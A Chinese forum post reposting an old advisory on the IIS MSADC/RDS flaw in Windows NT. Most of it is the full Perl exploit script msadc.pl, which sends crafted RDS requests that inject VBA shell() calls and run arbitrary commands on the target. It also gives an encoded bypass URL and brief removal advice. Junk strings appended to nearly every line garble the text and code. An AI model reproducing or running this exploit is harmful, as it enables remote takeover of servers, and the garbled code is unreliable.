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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ? xR7Ii3  
JP4DV=}L  
涉及程序: AW5iwq6p  
Microsoft NT server ET.jjV  
MZGhN brd  
描述: l 5-[a  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0O"W0s"T#  
,D{7=mDVm  
详细: X,Na4~JO(  
如果你没有时间读详细内容的话,就删除: ;M?)-dpZ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]FCP|Jz  
有关的安全问题就没有了。 u1/ >)_U  
b,Wm]N  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 G(t:s5:  
-leX|U}k  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 f3O6&1D  
关于利用ODBC远程漏洞的描述,请参看: oz&`3`  
LO=U?`)q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \D|IN'!D  
8e?/LA%MU  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9rEBq&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6U{A6hH]  
2j+w5KvU  
这里不再论述。 dJR[9T_OF  
sqKx?r72  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: vIpL8B86a  
6 \8d6x>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset wsmgkg  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! HAn{^8"@  
8n3]AOc'~-  
poBeEpbs  
#将下面这段保存为txt文件,然后: "perl -x 文件名" T >8P1p@A,  
iTHwH{!  
#!perl -,")GA+[7  
# t^'nh 1=  
# MSADC/RDS 'usage' (aka exploit) script E !!,JnU  
# M">v4f&K1!  
# by rain.forest.puppy rxyv+@~Nc  
# k ]NZ%.  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :u4|6?  
# beta test and find errors! @6UtnX'd  
nkHl;;WJ  
use Socket; use Getopt::Std; !R8%C!=a  
getopts("e:vd:h:XR", \%args); s!(R  
J];Sj  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; m]jA(  
EL~$7 J  
if (!defined $args{h} && !defined $args{R}) { IWE([<i}i[  
print qq~ mI8EeMa{  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  rDFrreQP  
-h <host> = host you want to scan (ip or domain) ( eKgc  
-d <seconds> = delay between calls, default 1 second aMI;; iL^  
-X = dump Index Server path table, if available +RJ{)Nec  
-v = verbose 0%bCP/  
-e = external dictionary file for step 5 NQqw|3  
l>\EkUT  
Or a -R will resume a command session ^BF}wQb :j  
[-\Y?3  
~; exit;} ]r;rAOWVV  
:^y!z1\2(7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; lgews"  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} WX4sTxJK  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} kgo#JY-4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >SXSrXyYX  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Y|R=^ =d\  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } _9>,9aL  
Hf('BagBL  
if (!defined $args{R}){ $ret = &has_msadc; /MtmO$ .  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [~N;d9H+*1  
=RWTjTZ   
print "Please type the NT commandline you want to run (cmd /c assumed):\n" q=t!COS  
. "cmd /c "; -jJhiaJ$<  
$in=<STDIN>; chomp $in; CA#g(SiZ  
$command="cmd /c " . $in ; ^{"i eVn  
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if (defined $args{R}) {&load; exit;} p -$C*0{  
eKr>>4,-P  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [+o{0o>  
&try_btcustmr; 3A,N1OXG  
WRZpu95v  
print "\nStep 2: Trying to make our own DSN..."; _s;y0$O  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Q# hRnM  
d&^b=d FDu  
print "\nStep 3: Trying known DSNs..."; UIEvwQ  
&known_dsn; \kQ)fk]^  
0$|VkMq(  
print "\nStep 4: Trying known .mdbs..."; 6SCjlaGW5  
&known_mdb; #ksDU  
Fu.aV876\f  
if (defined $args{e}){ jgE{JK\n4  
print "\nStep 5: Trying dictionary of DSN names..."; yu6~:$%H  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } I<QUvs%e  
N[ = I  
print "Sorry Charley...maybe next time?\n"; *z[vp2 TN  
exit; jnqp" Ult>  
_YX% M|#  
############################################################################## +jE)kaV%  
IGTO|sT"  
sub sendraw { # ripped and modded from whisker 3}}/,pGSc  
sleep($delay); # it's a DoS on the server! At least on mine... _-fLD  
my ($pstr)=@_; b=Nsz$[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;Pk"mC  
die("Socket problems\n"); x[t?hl=:  
if(connect(S,pack "SnA4x8",2,80,$target)){ w5z]=dN  
select(S); $|=1; `&NFl'l1C  
print $pstr; my @in=<S>; B <s+I#  
select(STDOUT); close(S); KJFQ)#SW!  
return @in; I~l_ky|a !  
} else { die("Can't connect...\n"); }} ZTTA??}Y  
]MYbx)v)  
############################################################################## 0c>>:w20D  
^U~Er'mT  
sub make_header { # make the HTTP request q5g_5^csM{  
my $msadc=<<EOT \zJ^XpC  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !&OdbRHM  
User-Agent: ACTIVEDATA xd3mAf  
Host: $ip wp:$Tqa$  
Content-Length: $clen X:Y1g)|K  
Connection: Keep-Alive tgBA(2/Co  
~6#mVP5sU)  
ADCClientVersion:01.06 08:K9zr  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "a(R>PV%  
'tTlBf7#  
--!ADM!ROX!YOUR!WORLD! 1%M^MT%&  
Content-Type: application/x-varg l&Q@+xb>  
Content-Length: $reqlen qbnlD\  
JK)|a@BtOT  
EOT '_g&!zi8~  
; $msadc=~s/\n/\r\n/g; e77s?WxbK  
return $msadc;} ;\"Nekd|  
M/V"Ke"N  
############################################################################## b c .Vy  
NO*~C',cI/  
sub make_req { # make the RDS request A f?&VD4K  
my ($switch, $p1, $p2)=@_; jM*wm~4>@  
my $req=""; my $t1, $t2, $query, $dsn; #euOq  
;$a|4_U$m  
if ($switch==1){ # this is the btcustmr.mdb query nb5%a   
$query="Select * from Customers where City=" . make_shell(); >&<D.lx  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . unL1/JY z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} FlS)m`  
6w<p1qhW  
elsif ($switch==2){ # this is general make table query ?fs#K;w  
$query="create table AZZ (B int, C varchar(10))"; + $~HRbo  
$dsn="$p1";} W6B o\UK  
!oV'  
elsif ($switch==3){ # this is general exploit table query .hvn/5s  
$query="select * from AZZ where C=" . make_shell(); 0A ~f ^  
$dsn="$p1";}  4z|Yfvq  
8HO)",+I  
elsif ($switch==4){ # attempt to hork file info from index server 0@f7`D  
$query="select path from scope()"; Q6Zh%\+h(  
$dsn="Provider=MSIDXS;";} p|Fhh\,*`X  
A&'HlI% J  
elsif ($switch==5){ # bad query (aCl*vV1  
$query="select"; K3UG6S\B  
$dsn="$p1";} r52,f%nlm  
8&f"")m  
$t1= make_unicode($query); .+AO3~Dg  
$t2= make_unicode($dsn); `V ++})5v  
$req = "\x02\x00\x03\x00"; eWx6$_|  
$req.= "\x08\x00" . pack ("S1", length($t1)); %@M/)"k  
$req.= "\x00\x00" . $t1 ; ;lWy?53=@  
$req.= "\x08\x00" . pack ("S1", length($t2)); -p !KsU  
$req.= "\x00\x00" . $t2 ; s?K4::@Fv  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ?Ve5}N  
return $req;} J>Rt2K  
1J *wW# e  
############################################################################## ;/{Q4X{  
CM's6qhQnn  
sub make_shell { # this makes the shell() statement Q+ST8  
return "'|shell(\"$command\")|'";} \ZDT=?  
qV$',U*+T  
############################################################################## A8eli=W  
|-aj$u%~  
sub make_unicode { # quick little function to convert to unicode \&qVr1|  
my ($in)=@_; my $out; RBgkC+2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;09J;sf  
return $out;} qP<,"9!I  
G7/LYTT)  
############################################################################## Tx_(^K  
b~1p.J4  
sub rdo_success { # checks for RDO return success (this is kludge) K ;xW/7?  
my (@in) = @_; my $base=content_start(@in); 'IW+"o  
if($in[$base]=~/multipart\/mixed/){ rqh,BkQ0t  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Yh%wf3 UEO  
return 0;} G =4y!y  
q(p0#Mk,E  
############################################################################## tr/dd&(Y1  
S&uL9)Glb  
sub make_dsn { # this makes a DSN for us r;T/  
my @drives=("c","d","e","f"); v#+w<gRq  
print "\nMaking DSN: "; EH "g`r  
foreach $drive (@drives) { lqCn5|S]  
print "$drive: "; W=\dsdnu*  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . C;) xjZiR  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 4vQHr!$Ep  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); rlIEch^wZ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; XZ&v3ul  
return 0 if $2 eq "404"; # not found/doesn't exist -9*WQU9R  
if($2 eq "200") { "qm>z@K  
foreach $line (@results) { Z =c@Gd  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} KJ)&(Yx  
} return 0;} nm-Y?!J  
_dBU6U:V  
############################################################################## ?^vZ{B)&0E  
9h(hx 7]  
sub verify_exists { e,*[5xQ  
my ($page)=@_; ggTjd"|)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); e`Yns$x  
return $results[0];} {|E7N"Qzg  
5l}h8So4  
############################################################################## m'B6qy!}6  
nu<!/O  
sub try_btcustmr { F]*-i 55S  
my @drives=("c","d","e","f"); S%fBt?-Cm  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %$x FnGb  
):@%xoF5  
foreach $dir (@dirs) { //@=Q!MW  
print "$dir -> "; # fun status so you can see progress ~\G3 l,4  
foreach $drive (@drives) { ~m?~eJK#a  
print "$drive: "; # ditto e"6i >w!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; \^4$}@*]  
$reqlenlen=length( "$reqlen" ); $IT9@}*{  
$clen= 206 + $reqlenlen + $reqlen; xlO2jSSAt  
fO>~V1  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ;/T-rVND  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \AzcW;03g[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} AyO|9!F@A  
_[o^23Hj  
############################################################################## XE*bRTEw  
@EZONKT  
sub odbc_error { ^b %8_?2m  
my (@in)=@_; my $base; V^+:U>$w  
my $base = content_start(@in); T_[\(K`w!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this oLMi vy4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; CWQ2iu<_0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m5aaY  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?\M6P?tpo&  
return $in[$base+4].$in[$base+5].$in[$base+6];} [Mc5N  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]!aa#?Fc  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . QJM!Wx+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5qSZ>DZ  
9nS!  
############################################################################## %:?QE ;  
xN8JrZE&  
sub verbose { Jk`)`94 I  
my ($in)=@_; ok2~B._+;  
return if !$verbose; 2] G$6H  
print STDOUT "\n$in\n";} X", 0VO  
wP0+Xv,  
############################################################################## c@7hLUaE2  
TF-Ty  
sub save { So.P @CCd  
my ($p1, $p2, $p3, $p4)=@_; mS}x2 &  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; GTe:k  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !o':\hex6  
close OUT;} .<^Y E%  
_C,@eu"9V  
############################################################################## f\U&M,L\ '  
@[lc0_ b  
sub load { oImgj4C2L  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; AWXpA1(  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); eSNSnh]'  
@p=<IN>; close(IN); xcvr D  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '#PqI)P  
$target= inet_aton($ip) || die("inet_aton problems"); wKS-O%?  
print "Resuming to $ip ..."; jZT :-w  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; &MZy;Sq  
if($p[1]==1) { cN lY=L  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; M03i4R@h(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )NmlV99q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Wo+CQH6(  
if (rdo_success(@results)){print "Success!\n";} Ca@=s  
else { print "failed\n"; verbose(odbc_error(@results));}} QsJW"4d  
elsif ($p[1]==3){ 'F"Y?y:!  
if(run_query("$p[3]")){ RrdtU7i3  
print "Success!\n";} else { print "failed\n"; }} L"!ZY  
elsif ($p[1]==4){ xTFrrmxOf  
if(run_query($drvst . "$p[3]")){ tK}p05nPhl  
print "Success!\n"; } else { print "failed\n"; }} k+#l;<\2  
exit;} =/JF-#n/MA  
6y,P4O*q  
############################################################################## 83ic@[  
FEZ"\|I|  
sub create_table { pNE\@U|4E  
my ($in)=@_; @ PoFxv  
$reqlen=length( make_req(2,$in,"") ) - 28; fCf#zV[  
$reqlenlen=length( "$reqlen" ); AYA&&b  
$clen= 206 + $reqlenlen + $reqlen; W#jZRviyq!  
my @results=sendraw(make_header() . make_req(2,$in,"")); tWSvxGCzn%  
return 1 if rdo_success(@results); .n& Cq+U;  
my $temp= odbc_error(@results); verbose($temp); A9l})_~i  
return 1 if $temp=~/Table 'AZZ' already exists/; 5Sjr6l3Vq8  
return 0;} sC5uA .?>9  
t)gi.Ed1"L  
############################################################################## yC 7Vb P  
Ryba[Fz4Di  
sub known_dsn { 3 E!<p  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "R2t&X[9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", DxKfWb5 R  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w-H%B`/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); V l~Y  
C7 ]DJn  
foreach $dSn (@dsns) { F\=Rm  
print ".";  Ep\  
next if (!is_access("DSN=$dSn")); k/_8!^:'  
if(create_table("DSN=$dSn")){ FL#g9U>  
print "$dSn successful\n"; Uy59zB2|=  
if(run_query("DSN=$dSn")){ r3H}*Wpf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^/C $L8#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1 73<x){  
,d>X/kd|o  
############################################################################## Z#F,y)YiO  
of'ZNQ/  
sub is_access { gJ3OK!/  
my ($in)=@_; jxnQG A  
$reqlen=length( make_req(5,$in,"") ) - 28; En,)}yI  
$reqlenlen=length( "$reqlen" ); ~i }+P71  
$clen= 206 + $reqlenlen + $reqlen; }xf='lE  
my @results=sendraw(make_header() . make_req(5,$in,"")); EN-H4F  
my $temp= odbc_error(@results); ..q63dr  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Le` /  
return 0;} 5&<d2EG6l'  
3cCK"kr  
############################################################################## @UpC{M--Wr  
hk@`N;dn  
sub run_query { B]|6`UfB  
my ($in)=@_; vNz;#Je  
$reqlen=length( make_req(3,$in,"") ) - 28;  t$H':l0  
$reqlenlen=length( "$reqlen" ); pdi=6<?bd  
$clen= 206 + $reqlenlen + $reqlen; 6/[Z178m  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^5;vx  
return 1 if rdo_success(@results); T1(j l)  
my $temp= odbc_error(@results); verbose($temp); &8]#RQy{f  
return 0;} UEEBWzH  
7bonOt Y  
############################################################################## h eE'S/  
;v,9 v;T  
sub known_mdb { Jm %ynW  
my @drives=("c","d","e","f","g"); %Ui{=920  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %wt2F-u  
my $dir, $drive, $mdb; vQK n=  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -7I1Lh#M  
'T)Or,d  
# this is sparse, because I don't know of many $bZu^d,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", OB?SkR  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", }iua] 4 |  
"\\system32\\certmdb.mdb", 9u ?)vR[@e  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ).NcLJw_  
W&+y(Z-t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "Y G\  
"\\cfusion\\cfapps\\forums\\forums_.mdb", O->_/_  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", K,eqD<  
"\\cfusion\\cfapps\\security\\realm_.mdb", Qj 6gg  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", HQ^9 [HN.  
"\\cfusion\\database\\cfexamples.mdb", a[1sA12  
"\\cfusion\\database\\cfsnippets.mdb", Pqy-gWOv  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", N>d|A]zH  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", :cc[Jco@w  
"\\cfusion\\brighttiger\\database\\cleam.mdb", }rz dm9  
"\\cfusion\\database\\smpolicy.mdb", xdd:yrC   
"\\cfusion\\database\cypress.mdb", ~~C6)N~1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 0).fBBNG  
"\\website\\cgi-win\\dbsample.mdb", T!l mO?Q  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [3j$ 4rP  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [ 8F \;  
); #these are just LkJ$aW/  
foreach $drive (@drives) { M`0(!Q}  
foreach $dir (@dirs){ ]u rK$   
foreach $mdb (@sysmdbs) { 2#z=z d  
print "."; Qm.z@DwFM{  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;W7hc!  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >j50 ;</  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ==]Z \jk  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; wVgi+P  
} else { print "Something's borked. Use verbose next time\n"; }}}}} / <JY:1|  
5oz>1  
foreach $drive (@drives) { ow2M,KU6Z  
foreach $mdb (@mdbs) { 6xQ"bFm  
print "."; \#PP8  
if(create_table($drv . $drive . $dir . $mdb)){ B/jrYT$;m  
print "\n" . $drive . $dir . $mdb . " successful\n"; Ln ~4mN^  
if(run_query($drv . $drive . $dir . $mdb)){ <1aa~duT  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; uuu\f*<  
} else { print "Something's borked. Use verbose next time\n"; }}}} IWAj Mwo  
} X_D6eYF  
f;.SSiT  
############################################################################## zzX<?6MS  
\Y*!f|=of  
sub hork_idx { 9c#lLKrzG  
print "\nAttempting to dump Index Server tables...\n"; RK?jtb=&A  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; xN6?yr  
$reqlen=length( make_req(4,"","") ) - 28; U? 8i'5)  
$reqlenlen=length( "$reqlen" ); $"Afy)Ir  
$clen= 206 + $reqlenlen + $reqlen; fO*)LPen.z  
my @results=sendraw2(make_header() . make_req(4,"","")); " Wp   
if (rdo_success(@results)){ <O;&qT*b  
my $max=@results; my $c; my %d; }dy9I H  
for($c=19; $c<$max; $c++){ oG!6}5  
$results[$c]=~s/\x00//g; "?$L'!bM@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; A&N$tH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !q!"UMiG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,# ]+HS^B  
$d{"$1$2"}="";} $zdd=.!KiK  
foreach $c (keys %d){ print "$c\n"; } T`uDlo  
} else {print "Index server doesn't seem to be installed.\n"; }} wi>DZkR  
SijtTY#r  
############################################################################## dIma{uv  
/x$}D=(CZ  
sub dsn_dict { y'^F,WTM  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); a;%I\w;2  
while(<IN>){ 5)w4)K-%  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; SGt5~T xj  
next if (!is_access("DSN=$dSn")); O47PkP8  
if(create_table("DSN=$dSn")){ V]Sgx00;  
print "$dSn successful\n"; ze&#i6S  
if(run_query("DSN=$dSn")){ pg+b[7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { '?5S"??  
print "Something's borked. Use verbose next time\n";}}} +6 ho)YL  
print "\n"; close(IN);} U<Vy>gIC  
=tq1ogE  
############################################################################## 6_WmCtvF  
jDkm:X}:  
sub sendraw2 { # ripped and modded from whisker {t&*>ma6)  
sleep($delay); # it's a DoS on the server! At least on mine... L ${m/@9  
my ($pstr)=@_; :WVSJ,. !  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || OZ=Cp$  
die("Socket problems\n"); f_rp<R>Uu  
if(connect(S,pack "SnA4x8",2,80,$target)){ Wj&nUp{  
print "Connected. Getting data"; @a0Q0M  
open(OUT,">raw.out"); my @in; 975 _d_U  
select(S); $|=1; print $pstr; xpAok]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ^CUSlnB\(  
close(OUT); select(STDOUT); close(S); return @in; 4h;4!I|  
} else { die("Can't connect...\n"); }} n,CD  
DY8(g=TI|1  
############################################################################## Yr=8!iR$  
sds}bo  
sub content_start { # this will take in the server headers  s'TY[  
my (@in)=@_; my $c; 7#ofNH J  
for ($c=1;$c<500;$c++) { "mR*7o$|  
if($in[$c] =~/^\x0d\x0a/){ +>!V ]S  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } S nW7x  
else { return $c+1; }}} :<H8'4>  
return -1;} # it should never get here actually Hte[TRbM  
z?4=h Sy  
############################################################################## Ls1B \Aw_  
_B3zRO  
sub funky { TKo<~?  
my (@in)=@_; my $error=odbc_error(@in); #ra*f~G  
if($error=~/ADO could not find the specified provider/){ L!,d"wuD  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2 L:$aZ  
exit;} W2hA-1  
if($error=~/A Handler is required/){ )&:L'N  
print "\nServer has custom handler filters (they most likely are patched)\n"; Jld\8=  
exit;} 1 DqX:WM6  
if($error=~/specified Handler has denied Access/){ h/HH Kn  
print "\nServer has custom handler filters (they most likely are patched)\n"; >k;p.Pay%  
exit;}} \%TyrY+`K  
\^0!|  
############################################################################## J1X~vQAe  
OM)3Y6rK  
sub has_msadc { P_&p=${  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); nM8[  
my $base=content_start(@results); *GJ:+U&m[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); b!^@PIX  
return 0;} |NJ}F@t/5  
vQgq]mA?  
######################## BZ+;n |<r  
6Hk="$6K  
~>g+2]Bn>$  
解决方案: -9d%+O~v6~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &?y7I Pp  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 f@d9Hqr+l;  
U*\17YU6h  
拿出来充数 哈哈
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